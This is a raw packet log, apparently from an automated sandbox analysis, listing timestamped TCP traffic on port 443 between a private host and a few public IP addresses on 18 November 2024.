Nov 18, 2024 05:57:16.956089020 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.956096888 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.960830927 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.960836887 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.977653027 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.977658987 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.023957968 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.023984909 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.024080992 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.033066034 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.033087969 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.033159018 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.033710003 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.033723116 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.034351110 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.034359932 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.034415007 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.034507990 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.034514904 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.034780979 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.034792900 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.035235882 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.035288095 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.035382986 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.035645962 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.035672903 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.035872936 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.035911083 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.035970926 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.036051035 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.036060095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.733777046 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.733891964 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.736238003 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.736248016 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.736586094 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.738806009 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.738889933 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.738894939 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.739069939 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.763180017 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.763796091 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.763811111 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.764394045 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.764400959 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.768537045 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.772974014 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.775352955 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.775372028 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.775841951 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.775859118 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.776200056 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.776205063 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.776386976 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.776392937 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.779359102 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.780124903 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.780587912 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.780646086 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.781044960 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.781060934 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.782202005 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.782641888 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.782661915 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.783165932 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.783169985 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.891814947 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.892033100 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.892270088 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.892321110 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.892337084 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.892353058 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.892359972 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.895787001 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.895859957 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.895968914 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.896167040 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.896200895 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.901695967 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.901887894 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.901974916 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.902008057 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.902024031 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.902060032 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.902065992 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.904813051 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.904846907 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.904932976 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.905121088 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.905134916 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.905452967 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.905596972 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.905656099 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.905738115 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.905745983 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.905761003 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.905765057 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908005953 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908221960 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908296108 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.908349037 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.908381939 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908411026 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.908426046 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908663988 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.908695936 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.908770084 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.909012079 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.909041882 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.910665035 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.910692930 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.910773993 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.910936117 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.910948038 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.912883997 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.913122892 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.913183928 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.913223028 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.913233995 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.913244963 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.913249016 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.915654898 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.915674925 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.915760994 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.915961981 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:17.915987015 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:17.990740061 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.991276026 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.991288900 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:17.991307020 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:17.991348028 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:18.613596916 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.614111900 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.614144087 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.614578009 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.614586115 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.636562109 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.636966944 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.636981964 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.637454987 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.637461901 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.645127058 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.645632029 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.645646095 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.646001101 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.646006107 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.662955046 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.663611889 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.663628101 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.663662910 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.663923025 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.663935900 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.664043903 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.664053917 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.664376974 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.664386034 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.740719080 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.740776062 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.740874052 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.741099119 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.741126060 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.741139889 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.741147041 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.743978024 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.744028091 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.744122982 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.744235039 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.744241953 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.766056061 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.766226053 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.766314030 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.766381979 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.766405106 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.766418934 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.766426086 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.768661022 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.768752098 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.768851042 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.768973112 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.768995047 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.776555061 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.776702881 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.776768923 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.782727003 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.782727003 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.782748938 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.782763958 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.785723925 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.785752058 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.785840034 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.785994053 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.786012888 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.792007923 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.792188883 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.792256117 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.792377949 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.792422056 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.792454004 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.792467117 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.794404030 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.794429064 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.794503927 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.794626951 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.794645071 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.795713902 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.795859098 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.795932055 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.795965910 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.795965910 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.795980930 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.796000957 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.797640085 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.797647953 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:18.797707081 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.797818899 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:18.797830105 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.515654087 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.516204119 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.516243935 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.516623974 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.516637087 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.520337105 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.521205902 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.521228075 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.521958113 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.521962881 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.522850037 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.523122072 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.523138046 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.523458004 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.523463964 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.530734062 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.545347929 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.570523977 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.585612059 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.585621119 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.586071014 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.586076021 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.586160898 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.590971947 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.591001987 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.591413021 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.591425896 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.643733025 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.644006968 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.644089937 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.645982981 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.646003008 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.646025896 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.646037102 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.649049997 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.649200916 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.649246931 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.652024031 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.652148962 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.652190924 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.661036015 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.661067009 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.661082983 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.661092043 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.676418066 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.676422119 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.676433086 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.676435947 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.719450951 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.719484091 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.719552994 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.723896980 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.724054098 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.724191904 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.729480028 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.729567051 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.729650974 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.738432884 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.738496065 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.738564014 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.740683079 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.740703106 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.740762949 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.740762949 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.740808010 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.740835905 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.741409063 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.741431952 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.741445065 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.741451025 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.742224932 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.742260933 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.750330925 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.750349998 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.750416040 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.750504017 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.750514984 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.785788059 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.785815001 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.785887003 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.786561966 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.786591053 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.786648989 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.787015915 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.787044048 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:19.787105083 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:19.787118912 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.165436029 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:20.165473938 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:20.165574074 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:20.167176962 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:20.167190075 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:20.475802898 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.476620913 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.476641893 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.478481054 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.478487015 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.486447096 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.487453938 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.487493992 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.487953901 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.487962961 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.494211912 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.495456934 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.495475054 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.504108906 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.504118919 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.516942978 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.517616034 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.517705917 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.518168926 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.518184900 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.523814917 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.524208069 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.524240971 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.524842978 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.524848938 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.605786085 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.605972052 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.606030941 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.606064081 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.606064081 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.606076956 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.606086016 CET	443	49744	13.107.246.45	192.168.2.6
